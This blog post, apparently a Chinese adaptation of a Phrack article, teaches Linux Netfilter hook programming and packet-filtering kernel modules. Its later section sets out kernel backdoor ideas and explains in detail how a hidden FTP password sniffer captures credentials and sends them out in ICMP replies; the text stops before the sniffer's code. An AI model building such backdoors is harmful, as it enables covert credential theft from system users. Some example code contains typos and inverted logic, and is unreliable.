https://blog.csdn.net/XscKernel/article/details/8186679

目录

1 - 简介
  1.1 - 本文涉及的内容
  1.2 - 本文不涉及的内容
2 - 各种Netfilter hook及其用法
  2.1 - Linux内核对数据包的处理
  2.2 - Netfilter对IPv4的hook
3 - 注册和注销Netfilter hook
4 - Netfilter 基本的数据报过滤技术[1]
  4.1 - 深入hook函数
  4.2 - 基于接口进行过滤
  4.3 - 基于地址进行过滤
  4.4 - 基于TCP端口进行过滤
5 - Netfilter hook的其它可能用法
  5.1 - 隐藏后门的守护进程
  5.2 - 基于内核的FTP密码嗅探器
    5.2.1 - 源代码 : nfsniff.c
    5.2.2 - 源代码 : getpass.c
6 - 在Libpcap中隐藏网络通信
  6.1 - SOCK_PACKET、SOCK_RAW与Libpcap
  6.2 - 给狼披上羊皮
7 - 结束语
A - 轻量级防火墙
  A.1 - 概述
  A.2 - 源代码 : lwfw.c
  A.3 - 头文件 : lwfw.h
B - 第6节中的源代码

(注:这是在网上找到的关于内核网络编程的代码,我把它部分内容修改,编译并测试了一遍这里整理出来)

1 - 简介
本文将向你展示,Linux的网络堆栈的一些怪异行为(并不一定是弱点)如何被用于邪恶的或者是其它形形色色的目的。在这里将要讨论的是将表面上看起来合法的Netfilter hook用于后门的通信,以及一种使特定的网络通信在运行于本机的基于Libpcap的嗅探器中消声匿迹的技术。
Netfilter是Linux 2.4内核的一个子系统,Netfiler使得诸如数据包过滤、网络地址转换(NAT)以及网络连接跟踪等技巧成为可能,这些功能仅通过使用内核网络代码提供的各式各样的hook既可以完成。这些hook位于内核代码中,要么是静态链接的,要么是以动态加载的模块的形式存在。可以为指定的网络事件注册相应的回调函数,数据包的接收就是这样一个例子。

1.1 - 本文涉及的内容    
本文讨论模块编写者如何利用Netfilter hook来实现任意目的以及如何将将网络通信在基于Libpcap的应用程序中隐藏。虽然Linux 2.4支持对IPv4、IPv6以及DECnet的hook,但在本文中将只讨论关于IPv4的话题,虽然如此,大部分关于IPv4的内容都同样可以运用于其它几种协议。出于教学的目的,附录A提供了一个可用的、提供基本的包过滤的内核模块。本文中所有的开发和试验都在运行于Intel主机上的Linux 2.4.5中完成。对Netfilter hook功能的测试在环回接口、以太网接口以及调制解调器点对点接口上完成。     本文也是出于我对Netfilter完全理解的尝试的兴趣而写的。我并不能保证文中附带的任何代码100%的没有错误,但是我已经测试了所有在这里提供的代码。我已经受够了核心错误的折磨,因此真诚的希望你不会再如此。同样,我不会为任何按照本文所述进行的操作中可能发生的损害承担责任。本文假定读者熟悉C语言编程并且有一定的关于可加载模块的经验。  
欢迎对本文中出现的错误进行批评指正,我同时开诚布公的接受对本文的改进以及其它各种关于Netfilter的优秀技巧的建议。

1.2 - 本文不涉及的内容
本文不是一个完全的关于Netfilter的细节上的参考资料,同样,也不是一个关于iptables的命令的参考资料。如果你想了解更多的关于iptables的命令,请参考相关的手册页。   
好了,让我们从Netfilter的使用介绍开始 ...

2 - 各种Netfilter hook及其用法

2.1 - Linux内核对数据包的处理
        看起来好像是我很喜欢深入到诸如Linux的数据包处理以及事件的发生以及跟踪每一个Netfilter hook这样的血淋淋的细节中,事实并非如此!原因很简单,Harald Welte已经写了一篇关于这个话题的优秀的文章??《Journey  of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的关于Linux数据包处理的内容,我强烈推荐你去拜读这篇文章。现在,仅需要理解:当数据包游历Linux内核的网络堆栈时,它穿过了几个hook点,在这里,数据包可以被分析并且选择是保留还是丢弃,这些hook点就是Netfilter hook。

2.2 - Netfilter对IPv4的hook
    Netfilter中定义了五个关于IPv4的hook,对这些符号的声明可以在linux/netfilter_ipv4.h中找到。这些hook列在下面的表中:
表1 : 可用的IPv4 hook

Hook                            调用的时机
NF_IP_PRE_ROUTING        刚刚进入网络层的数据包通过此点(刚刚进行完版本号,校验
                和等检测), 目的地址转换在此点进行;     
NF_IP_LOCAL_IN                经路由查找后,送往本机的通过此检查点,INPUT包过滤在此点进行;
NF_IP_FORWARD                要转发的包通过此检测点,FORWORD包过滤在此点进行; 
NF_IP_LOCAL_OUT                本机进程发出的包通过此检测点,OUTPUT包过滤在此点进行。 
NF_IP_POST_ROUTING            所有马上便要通过网络设备出去的包通过此检测点,内置的源地址转换功能
                (包括地址伪装)在此点进行; 
NF_IP_PRE_ROUTING 这个hook是数据包被接收到之后调用的第一个hook,这个hook既是稍后将要描述的模块所用到的。当然,其它的hook同样非常有用,但是在这里,我们的焦点是在 NF_IP_PRE_ROUTING 这个hook上。
在hook函数完成了对数据包所需的任何的操作之后,它们必须返回下列预定义的Netfilter返回值中的一个:
表2 : Netfilter返回值

返回值                  含义
NF_DROP                    丢弃该数据包
NF_ACCEPT                保留该数据包
NF_STOLEN               忘掉该数据包
NF_QUEUE                将该数据包插入到用户空间
NF_REPEAT                再次调用该hook函数
 以上返回值的含义可以见函数 nf_iterate :
unsigned int nf_iterate(struct list_head *head,
                        struct sk_buff *skb,
                        unsigned int hook,
                        const struct net_device *indev,
                        const struct net_device *outdev,
                        struct list_head **i,
                        int (*okfn)(struct sk_buff *),
                        int hook_thresh)
{               
        unsigned int verdict;
        /*              
         * The caller must not block between calls to this
         * function because of risk of continuing from deleted element.
         */                             
        list_for_each_continue_rcu(*i, head) {
                struct nf_hook_ops *elem = (struct nf_hook_ops *)*i;
 
                if (hook_thresh > elem->priority)
                        continue;
                        
                /* Optimization: we don't need to hold module
                   reference here, since function can't sleep. --RR */
repeat: 
                verdict = elem->hook(hook, skb, indev, outdev, okfn);
                if (verdict != NF_ACCEPT) {
                        if (verdict != NF_REPEAT)
                                return verdict;
                        goto repeat;
                }
        }
        return NF_ACCEPT;
}
        NF_DROP这个返回值的含义是该数据包将被完全的丢弃,所有为它分配的资源都应当被释放。
        NF_ACCEPT这个返回值告诉Netfilter:到目前为止,该数据包还是被接受的并且该数据包应当被递交到网络堆栈的下一个阶段。
        NF_STOLEN是一个有趣的返回值,因为它告诉Netfilter,“忘掉”这个数据包。这里告诉Netfilter的是:该hook函数将从此开始对数据包的处理,并且Netfilter应当放弃对该数据    包做任何的处理。但是,这并不意味着该数据包的资源已经被释放。这个数据包以及它独自的sk_buff数据结构仍然有效,只是hook函数从Netfilter获取了该数据包的所有权。
         NF_QUEUE将数据包排入队列,通常是将数据包发送给用户进程空间处理
         最后一个返回值NF_REPEAT请求Netfilter再次调用这个hook函数。显然,使用者应当谨慎使用NF_REPEAT这个返回值,以免造成死循环。

3 - 注册和注销Netfilter hook
    注册一个hook函数是围绕nf_hook_ops数据结构的一个非常简单的操作,nf_hook_ops数据结构在linux/netfilter.h中定义,该数据结构的定义如下:

struct nf_hook_ops {                    
        struct list_head list;  
                        
        /* User fills in from here down. */
        nf_hookfn *hook;
        struct module *owner;   
        u_int8_t pf;    
        unsigned int hooknum;
        /* Hooks are ordered in ascending priority. */
        int priority;
};
该数据结构中的list成员用于维护 Netfilter hook 的列表,并且不是用户在注册hook时需要关心的重点。hook成员是一个指向nf_hookfn类型的函数的指针,该函数是这个hook被调用时执行的函数。nf_hookfn 同样在linux/netfilter.h中定义。pf这个成员用于指定协议族。有效的协议族在linux/socket.h中列出,但对于IPv4我们希望使用协议族PF_INET。hooknum这个成员用于指定安装的这个函数对应的具体的hook类型,其值为表1中列出的值之一。最后,priority这个成员用于指定在执行的顺序中,这个hook函数应当在被放在什么地方。对于IPv4,可用的值在linux/netfilter_ipv4.h的 nf_ip_hook_priorities 枚举中定义。出于示范的目的,在后面的模块中我们将使用NF_IP_PRI_FIRST。
    
注册一个Netfilter hook需要调用nf_register_hook()函数,以及用到一个nf_hook_ops数据结构。nf_register_hook()函数以一个nf_hook_ops数据结构的地址作为参数并且返回一个整型的值。但是,如果你真正的看了在net/core/netfilter.c中的nf_register_hook()函数的实现代码,你会发现该函数总是返回0。以下提供的是一个示例代码,该示例代码简单的注册了一个丢弃所有到达的数据包的函数。该代码同时展示了Netfilter的返回值如何被解析。

示例代码1 : Netfilter hook的注册

/* 
* 安装一个丢弃所有到达的数据包的Netfilter hook函数的示例代码 
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/skbuff.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("xsc");
 
static struct nf_hook_ops nfho;
 
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff *skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    return NF_DROP;
}
 
static int kexec_test_init(void)
{
    printk("kexec test start ...\n");
 
    nfho.hook = hook_func;
    nfho.owner = NULL;
    nfho.pf = PF_INET;
    nfho.hooknum = NF_INET_LOCAL_OUT;
    nfho.priority = NF_IP_PRI_FIRST;
    
    nf_register_hook(&nfho);                                  /// 注册一个钩子函数
 
    return 0;
}
 
static void kexec_test_exit(void)
{
    printk("kexec test exit ...\n");
    nf_unregister_hook(&nfho);
}
 
module_init(kexec_test_init);
module_exit(kexec_test_exit);
这就是全部内容,从示例代码1中,你可以看到,注销一个Netfilter hook是一件很简单事情,只需要调用nf_unregister_hook()函数,并且以你之前用于注册这个hook时用到的相同的数据结构的地址作为参数。

4 - Netfilter 基本的数据报过滤技术
4.1 - 深入hook函数

现在是到了看看什么数据被传递到hook函数中以及这些数据如何被用于做过滤选择的时候了。那么,让我们更深入的看看nf_hookfn函数的原型吧。这个函数原型在linux/netfilter.h中给出,如下:

typedef unsigned int nf_hookfn(unsigned int hooknum,
                               struct sk_buff *skb,
                               const struct net_device *in,
                               const struct net_device *out,
                               int (*okfn)(struct sk_buff *));
nf_hookfn函数的第一个参数用于指定表1中给出的hook类型中的一个。第二个参数是一个指针,(在以前的内核版本中是一个双重指针现在已更改)该指针指向一个sk_buff数据结构,网络堆栈用sk_buff数据结构来描述数据包。这个数据结构在linux/skbuff.h中定义,由于它的内容太多,在这里我将仅列出其中有意义的部分。
sk_buff数据结构中最有用的部分可能就是那三个描述传输层包头(例如:UDP, TCP, ICMP, SPX)、网络层包头(例如:IPv4/6, IPX, RAW)以及链路层包头(例如:以太网或者RAW)的联合(union)了。这三个联合的名字分别是h、nh以及mac。这些联合包含了几个结构,依赖于具体的数据包中使用的协议。使用者应当注意:传输层包头和网络层包头可能是指向内存中的同一个位置。这是TCP数据包可能出现的情况,其中h和nh都应当被看作是指向IP头结构的指针。这意味着尝试通过h->th获取一个值,并认为该指针指向一个TCP头,将会得到错误的结果。因为h->th实际上是指向的IP头,与nh->iph得到的结果相同。

接下来让我们感兴趣的其它部分是len和data这两个域。len指定了从data开始的数据包中的数据的总长度。好了,现在我们知道如何在sk_buff数据结构中分别访问协议头和数据包中的数据了。Netfilter hook函数中有用的信息中其它的有趣的部分是什么呢?

紧跟在skb之后的两个参数是指向net_device数据结构的指针,net_device数据结构被Linux内核用于描述所有类型的网络接口。这两个参数中的第一个in,用于描述数据包到达的接口,毫无疑问,参数out用于描述数据包离开的接口。必须明白,在通常情况下,这两个参数中将只有一个被提供。例如:参数in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,参数out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在这一个阶段中,我还没有测试对于NF_IP_FORWARD hook,这两个参数中哪些是有效的,但是如果你能在使用之前先确定这些指针是非空的,那么你是非常优秀的!

最后,传递给hook函数的最后一个参数是一个命名为okfn函数指针,该函数以一个sk_buff数据结构作为它唯一的参数,并且返回一个整型的值。我不是很确定这个函数是干什么用的,在net/core/netfilter.c中查看,有两个地方调用了这个okfn函数。这两个地方是分别在函数nf_hook_slow()中以及函数nf_reinject()中,在其中的某个位置,当Netfilter hook的返回值为NF_ACCEPT时被调用。
在函数  NF_HOOK_THRESH ,判断nf_hook_thresh的返回值如果是1那么调用okfn()
okfn为一个函数指针指向,根据不同情况分别指向 ip_forward_finish,ip_finish_output,ip_rcv_finish等。

** 译注:Linux核心网络堆栈中有一个全局变量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],该变量是一个二维数组,其中第一维用于指定协议族,第二维用于指定hook的类型(表1中定义的类型)。注册一个Netfilter hook实际就是在由协议族和hook类型确定的链表中添加一个新的节点。

以下代码摘自 net/core/netfilter,nf_register_hook()函数的实现:

int nf_register_hook(struct nf_hook_ops *reg)
{
        struct nf_hook_ops *elem;
        int err;
 
        err = mutex_lock_interruptible(&nf_hook_mutex);
        if (err < 0)
                return err;
        list_for_each_entry(elem, &nf_hooks[reg->pf][reg->hooknum], list) {
                if (reg->priority < elem->priority)
                        break;
        }
        list_add_rcu(®->list, elem->list.prev);
        mutex_unlock(&nf_hook_mutex);
        return 0;
}
EXPORT_SYMBOL(nf_register_hook);
linux/netfilter.h中定义了一个宏NF_HOOK,作者在前面提到的nf_hook_slow()函数实际上就是NF_HOOK宏定义最终要调用到的,在NF_HOOK中执行注册的hook函数。NF_HOOK在Linux核心网络堆栈的适当的地方以适当的参数调用。
例如,在ip_rcv()函数(位于net/ipv4/ip_input.c)的最后部分,调用NF_HOOK函数,执行NF_IP_PRE_ROUTING类型的hook。
        return NF_HOOK(NFPROTO_IPV4, NF_INET_PRE_ROUTING, skb, dev, NULL,  ip_rcv_finish);

ip_rcv()是Linux核心网络堆栈中用于接收IPv4数据包的主要函数。在NF_HOOK的参数中,页包含一个okfn函数指针,该函数是用于数据包被接收后完成后续的操作,例如在ip_rcv中调用的NF_HOOK中的okfn函数指针指向ip_rcv_finish()函数(位于net/ipv4/ip_input.c),该函数用于IP数据包被接收后的诸如IP选项处理等后续处理。

如果在内核编译参数中取消CONFIG_NETFILTER宏定义,NF_HOOK宏定义直接被替换为okfn,内核代码中的相关部分如下(linux/netfilter.h):

#ifdef CONFIG_NETFILTER
static inline int
NF_HOOK(uint8_t pf, unsigned int hook, struct sk_buff *skb,
        struct net_device *in, struct net_device *out,
        int (*okfn)(struct sk_buff *))
{
        return NF_HOOK_THRESH(pf, hook, skb, in, out, okfn, INT_MIN);
}
 
#else /* !CONFIG_NETFILTER */
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)  
    可见okfn函数是必不可少的,当Netfilter被启用时,它用于完成接收的数据包后的后续操作,如果不启用Netfilter做数据包过滤,则所有的数据包都被接受,直接调用该函数做后续操作。
    ** 译注完    
    现在,我们已经了解了我们的hook函数接收到的信息中最有趣和最有用的部分,是该看看我们如何以各种各样的方式来利用这些信息来过滤数据包的时候了!

4.2 - 基于接口进行过滤

这应该是我们能做的最简单的过滤技术了。还记得我们的hook函数接收的参数中的那些net_device数据结构吗?使用相应的net_device数据结构的name这个成员,你就可以根据数据包的源接口和目的接口来选择是否丢弃它。如果想丢弃所有到达接口eth0的数据包,所有你需要做的仅仅是将in->name 的值与"eth0"做比较,如果名字匹配,那么hook函数简单的返回NF_DROP即可,数据包会被自动销毁。就是这么简单!完成该功能的示例代码见如下的示例代码2。注意,Light-Weight FireWall模块将会提供所有的本文提到的过滤方法的简单示例。它还包含了一个IOCTL接口以及用于动态改变其特性的应用程序。

示例代码2 : 基于源接口的数据包过滤

/* 
* 安装一个丢弃所有到达的数据包的Netfilter hook函数的示例代码 
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/skbuff.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netdevice.h>        // structure net_device
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("xsc");
 
static struct nf_hook_ops nfho;
 
/* 我们丢弃的数据包来自的接口的名字 */
static char *drop_if = "lo";
 
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff *skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    if( (out != NULL) && (strcmp(out->name,drop_if)==0) ){
        printk("Dropped packet on %s..\n",drop_if);
        return NF_ACCEPT;
    }
    else{
        return NF_DROP;
    }
}
 
static int kexec_test_init(void)
{
    printk("kexec test start ...\n");
 
    nfho.hook = hook_func;
    nfho.owner = NULL;
    nfho.pf = PF_INET;
    nfho.hooknum = NF_INET_LOCAL_OUT;
    nfho.priority = NF_IP_PRI_FIRST;
    
    nf_register_hook(&nfho);                                  /// 注册一个钩子函数
 
    return 0;
}
 
static void kexec_test_exit(void)
{
    printk("kexec test exit ...\n");
    nf_unregister_hook(&nfho);
}
 
module_init(kexec_test_init);
module_exit(kexec_test_exit);
    是不是很简单?接下来,让我们看看基于IP地址的过滤。

4.3 - 基于地址进行过滤

与根据数据包的接口进行过滤类似,基于数据包的源或目的IP地址进行过滤同样简单。这次我们感兴趣的是sk_buff数据结构。还记得skb参数是一个指向sk_buff数据结构的指针吗?为了避免犯错误,声明一个另外的指向skb_buff数据结构的指针并且将skb指向的数据结构拷贝给这个指针是一个好习惯,就像这样:
struct sk_buff *psk = skb_copy(skb,1);    /// 在不对数据包做写操作的情况下
这样,你访问这个数据结构的元素时只需要反引用一次就可以了。获取一个数据包的IP头通过使用sk_buff数据结构中的网络层包头来完成。这个头位于一个联合中,可以通过sk_buff->nh.iph这样的方式来访问。示例代码3中的函数演示了当得到一个数据包的sk_buff数据结构时,如何利用它来检查收到的数据包的源IP地址与被禁止的地址是否相同。这些代码是直接从LWFW中取出来的,唯一不同的是LWFW统计的更新被移除。

示例代码3 : 检查收到的数据包的源IP

unsigned char *deny_ip = "\x7f\x00\x00\x01";     /* 127.0.0.1 */
 
static int check_ip_packet(struct sk_buff *skb)
{
    if(!skb)
        return NF_ACCEPT;
    if( ! (sdb->nh.iph))
        reutrn NF_ACCEPT;
    if(skb->nh.iph->saddr == *(unsigned int *)deny_ip){
        return NF_DROP;
    }
    return NF_ACCEPT;
}
这样,如果数据包的源地址与我们设定的丢弃数据包的地址匹配,那么该数据包将被丢弃。为了使这个函数能按预期的方式工作,deny_ip的值应当以网络字节序(Big-endian,与Intel相反)存放。虽然这个函数不太可能以一个空的指针作为参数来调用,带一点点偏执狂从来不会有什么坏处。当然,如果错误确实发生了,那么该函数将会返回NF_ACCEPT。这样Netfilter可以继续处理这个数据包。示例代码4展现了用于演示将基于接口的过滤略做修改以丢弃匹配给定IP地址的数据包的简单模块。

示例代码4 : 基于数据包源地址的过滤
/* 安装丢弃所有来自指定IP地址的数据包的Netfilter hook的示例代码 */
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("xsc");
 
static struct nf_hook_ops nfho;
 
static char *parg = "220.181.111.147";
module_param(parg,charp,S_IRUGO);
 
 
/// there is not a inet_addr in kernel. use in_aton  .
/// or write one.
unsigned int inet_addr(char *str) 

    int a,b,c,d; 
    char arr[4]; 
    sscanf(str,"%d.%d.%d.%d",&a,&b,&c,&d); 
    arr[0] = a; arr[1] = b; arr[2] = c; arr[3] = d; 
    return *(unsigned int*)arr; 

 
 
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff *skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
        struct sk_buff *sk = skb_copy(skb, 1);
        struct iphdr *ip;
 
        if (!sk)
                return NF_ACCEPT;
    ip = ip_hdr(sk);
 
    if(ip->saddr == inet_addr(parg))      /// 目标IP地址
        return NF_DROP;
    else 
        return NF_ACCEPT;
}
 
static int kexec_test_init(void)
{
    printk("kexec test start ...\n");
 
    nfho.hook = hook_func;
    nfho.owner = NULL;
    nfho.pf = PF_INET;
    nfho.hooknum = NF_INET_PRE_ROUTING; 
    nfho.priority = NF_IP_PRI_FIRST;
    
    nf_register_hook(&nfho);                                  /// 注册一个钩子函数
 
    return 0;
}
 
static void kexec_test_exit(void)
{
    printk("kexec test exit ...\n");
    nf_unregister_hook(&nfho);
}
 
module_init(kexec_test_init);
module_exit(kexec_test_exit);

4.4 - 基于TCP端口进行过滤

另一个要实现的简单规则是基于数据包的TCP目的端口进行过滤。这只比检查IP地址的要求要高一点点,因为我们需要自己创建一个TCP头的指针。还记得我们前面讨论的关于传输层包头与网络层包头的内容吗?获取一个TCP头的指针是一件简单的事情??分配一个tcphdr数据结构(在linux/tcp.h中定义)的指针,并将它指向我们的数据包中IP头之后的数据。或许一个例子的帮助会更大一些,示例代码5给出了检查数据包的TCP目的端口是否与某个我们要丢弃数据包的端口匹配的代码。与示例代码3一样,这些代码摘自LWFW。

示例代码5 : 检查收到的数据包的TCP目的端口
static int check_tcp_packet(struct sk_buff *skb)
{
    struct sk_buff *sk = skb_copy(skb, 1);  
        struct tcphdr *tcph = NULL;  
        const struct iphdr *iph = NULL;  
        struct iphdr *ip;  
        __be16 dport;
  
        if (!skb)  
        return NF_ACCEPT;  
        ip = ip_hdr(sk);                                               
        iph = ip_hdr(skb);  
 
        if(ip->protocol == IPPROTO_TCP){                                 /// TCP 协议  
            tcph = (void *) iph + iph->ihl * 4;                      /// TCP 包头  
            dport = tcph->dest;                                      /// 目标端口  
            if(ntohs(dport) == 25 ){  
                    return NF_DROP;  
            }else{  
                    return NF_ACCEPT;  
            }  
        }  
        return NF_ACCEPT;          
}
    确实很简单!不要忘了,要让这个函数工作,deny_port必须是网络字节序。这就是数据包过滤的基础了,你应当已经清楚的理解了对于一个特定的数据包,如何获取你想要的信息。现在,是该进入更有趣的内容的时候了!

5 - Netfilter hook的其它可能用法

在这里,我将提出其它很酷的利用Netfilter hook的点子,5.1节将简单的给出精神食粮,而5.2节将讨论和给出可以工作的基于内核的FTP密码嗅探器的代码,它的远程密码获取功能是确实可用的。事实上,它工作的令我吃惊的好,并且我编写了它。

5.1 - 隐藏后门的守护进程
核心模块编程也许是Linux开发中最有趣的部分之一了,在内核中编写代码意味着你在一个仅受限于你的想象力的地方写代码。以恶意的观点来看,你可以隐藏文件、进程,并且做各式各样很酷的,任何的rootkit能够做的事情。那么,以不太恶意的观点来看(是的,持这中观点人们的确存在),你可以隐藏文件、进程以及干各式各样的事情。内核真是一个迷人的乐园!
    
有了赋予内核级程序员的强大力量,很多事情成为可能。其中最有趣的(也是让系统管理员恐慌的)一个就是嵌入到内核中的后门。毕竟,如果后门不作为一个进程运行,那么我们怎么知道它的运行?当然,还是有办法让你的内核揪出这样的后门来,但是它们可不像运行ps命令一样容易和简单。现今,将后门代码放到内核中去的点子已经并不新鲜了。但是,我在这里所提出的是安放一个用作内核后门的简单的网络服务。你猜对了,正是Netfilter hook!
    
如果你已经具备必要的技能并且情愿以做试验的名义使你的内核崩溃,那么你就可以构建简单但是有用的,完全位于内核中的,可以远程访问的网络服务了。基本上一个Netfilter hook可以通过观察收到的数据包来查找一个“魔法”数据包,并且当接收到这个“魔法”数据包时干指定的事情。结果可以通过Netfilter hook来发送。并且该hook函数可以返回NF_STOLEN,以使得收到的“魔法”数据包可以走得更远。但是要注意,当以这种方式来发送时,输出数据包对于输出Netfilter hook仍然是可见的。因此用户空间完全不知道这个“魔法”数据包的曾经到达,但是它们还是能看到你送所出的。当心!因为在泄密主机上的嗅探器不能看到这个包并不意味着在其它中间宿主主机上的嗅探器也看不到这个包。
    
kossak与lifeline曾为Phrack写了一篇精彩的文章,该文描述了如何通过注册数据包类型处理器来完成这样的功能。虽然本文涉及的是Netfilter hook,我仍然建议阅读他们的这篇文章(第55期,文件12),因为它是一篇给出了一些非常有趣的点子的有趣读物。
    
那么,后门Netfilter hook可以干些什么工作呢?以下是一些建议:
-- 远程访问击键记录器(key-logger)。模块记录击键,并且当远程主机发送一个PING请求时,结果被送到该主机。这样,可以生成一个类似于稳定的(非洪水的)PING应答流的击键信息的流。当然,你可能想要实现一个简单的加密,这样,ASCII键不会立即暴露它们自己,并且某些警觉的系统管理员会想:“坚持,我以前都是通过我的SSH会话来键入那些的!Oh $%@T%&!”。
-- 各种简单的管理员任务,例如获取当前登录到主机的用户的列表或责获取打开的网络连接的信息。
-- 并非一个真正的后门,而是位于网络边界的模块,并且阻挡任何被疑为来自特洛伊木马、ICMP隐蔽通道或者像KaZaa这样的文件共享工具的通信。
    -- 文件传输“服务器”。我最近已经实现了这个主意,由此引起的Linux核心编程是数小时的乐趣:)
    -- 数据包跳跃。重定向目的为木马主机指定端口的数据包到其它的IP主机和端口,并且从那台主机发回数据包到发起者。没有进程被派生,并且最妙的是,没有网络套接字被打开。
    -- 上面描述的数据包跳跃用于与网络中的关键系统以半隐蔽方式通信。例如:配置路由器等。
    -- FTP/POP3/Telnet密码嗅探器。嗅探输出的密码并保存相关信息,直到进入的“魔法”数据包要求获取它们。

以上只是一些想法的简短的列表,其中最后一个想法是我们在接下来的一节中将要真正详细讨论的。它
提供了一个很好的了解更多的深藏于核心网络代码中的函数的机会。

5.2 - 基于内核的FTP密码嗅探器
在这里展现的是一个简单的,原理性的,用做Netfilter后门的模块。该模块嗅探输出的FTP数据包,查找对于一个FTP服务器一个USER于PASS命令对。当这样一个命令对被发现后,该模块接下来将等待一个“魔法”ICMP ECHO(ping)数据包,该数据包应当足够大,使其能返回服务器的IP地址、用户名以及密码。同时提供了一个快速的发送一个“魔法”数据包,获取返回然后打印返回信息的技巧。一旦用户名/密码对从模块读取后,模块将接着查找下一对。注意,模块每次只保存一个对。以上是简要的浏览,是该展示更多的细节,来看模块如何做到这些的时候了。

当模块加载时,模块的init_module()函数简单的注册了两个 Netfilter hook。第一个用于查看输入的数据包(在NF_IP_PRE_ROUTING处),尝试发现“魔法”ICMP数据包。接下来的一个用于查看离开该模块被安装的主机的数据包(在NF_IP_POST_ROUTING处),这个函数正是搜索和捕获FTP的USER和PASS数据包的地方。cleanup_module()函数只是简单的注销这两个hook。

watch_out()是用于 hook NF_IP_POST_ROUTING 的函数,查看这个函数你可以看到,它的执行的操作非常简单。当一个数据包进入这个函数过后,将经过各种检查,以确定它是一个FTP数据包。如果它不是一个FTP数据包,那么立即返回NF_ACCEPT。如果它是一个FTP数据包,那么该模块进行检查是否已经存在一个用户名/密码对。如果不存在(以have_pair的非零值标识),那么返回NF_ACCEPT,该数据包最终能够离开该系统。否则,check_ftp()函数被调用,这是密码提取实际发生的地方。如果没有先前的数据包已经被接收,那么target_ip和target_port变量应当被清除。

check_ftp()开始于从数据包的开始查找"USER","PASS"或"QUIT"。注意直到USER命令处理之后才处理PASS命令。这样做的目的是为了防止在某些情况下PASS命令先于USER命令被接收到以及在USER到达之前连接中断而导致的死锁的发生。同样,如果QUIT命令到达时仅有用户名被捕获,那么将重置操作,开始嗅探一个新的连接。当一个USER或者PASS命令到达时,如果必要完整性校验通过,则记录下命令的参数。正常运行下,在check_ftp()函数完成之前,检查是否已经有了一个有效的用户名和密码串。如果是,则设置have_pair的值为非零并且在当前的用户名/密码对被获取之前不会再抓取其它的用户名或密码。

到目前为止你已经看到了该模块如何安装它自己以及如何开始搜寻待记录的用户名和密码。接下来你将看到当指定的“魔法”数据包到达时会发生什么。在此需特别注意,因为这是在整个开发过程中出现的最大难题。如果我没记错的话,共遭遇了16个核心错误:)。当数据包进安装该模块的主机时,watch_in()检查每一个数据包以查看其是否是一个“魔法”数据包。如果数据包不能提供足以证明它是一个“魔法”数据包的信息,那么它将被被watch_in()忽略,简单的返回一个NF_ACCEPT。注意“魔法”数据包的标准之一是它们必须有足够的空间来存放IP地址以及用户名和密码串。这使得发送应答更加容易。当然,可以重新分配一个新的sk_buff,但是正确的获取所有必要的域得值可能会比较困难,并且你还必须得正确的获取它们!因此,与其为我们的应答数据包创建一个新的数据结构,不如简单的调整请求数据包的数据结构。为了成功的返回数据包,需要做几个改动。首先,交换IP地址,并且sk_buff数据结构中描述数据包类型的域(pkt_type)应当被换成PACKET_OUTGOING,这些宏在linux/if_packet.h中定义。接下来应当小心的是确定包含了任意的链路层头。我们接收到的数据包的sk_buff数据结构的数据域指向链路层头之后,并且它是指向被发送的数据包的数据的开始的数据域。那么对于需要链路层包头(以太网及环回和点对点的raw)的接口,我们将数据域指向mac.ethernet或者mac.raw结构。为确定这个数据包来自的什么类型的接口你可以查看sb->dev->type的值,其中sb是一个指向sk_buff数据结构的指针。这个域的有效值可以在linux/if_arp.h中找到,但其中最有用的几个在下面的表3中列出。

表3 : 接口类型的常用值
类型代码                            接口类型
ARPHRD_ETHER               以太网
ARPHRD_LOOPBACK     环回设备
ARPHRD_PPP                 点对点(例如拨号)

最后,我们要做的是真正的复制我们想在的应答中送出的数据。到送出数据包的时候了,dev_queue_xmit()函数以一个指向sk_buff数据结构的指针作为它唯一的参数,在“好的错误”情况下,返回一个负的错误代码。我所说的“好的错误”是什么意思呢?如果你给函数dev_queue_xmit()一个错误构造的套接字缓冲,那么你就会得到一个伴随着内核错误和内核堆栈的dump信息的“不太好的错误”。看看在这里错误如何能被分成两组?最后,watch_in()返回NF_STOLEN,以告诉Netfilter忘掉它曾经见到过这个数据包。如果你已经调用了dev_queue_xmit(),不要返回NF_DROP!这是因为dev_queue_xmit()将释放传递进来的套接字缓冲,而Netfilter会尝试对被NF_DROP的数据包做同样的操作。好了。对于代码的讨论已经足够了,请看具体的代码。

源代码 : nfsniff.c

/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
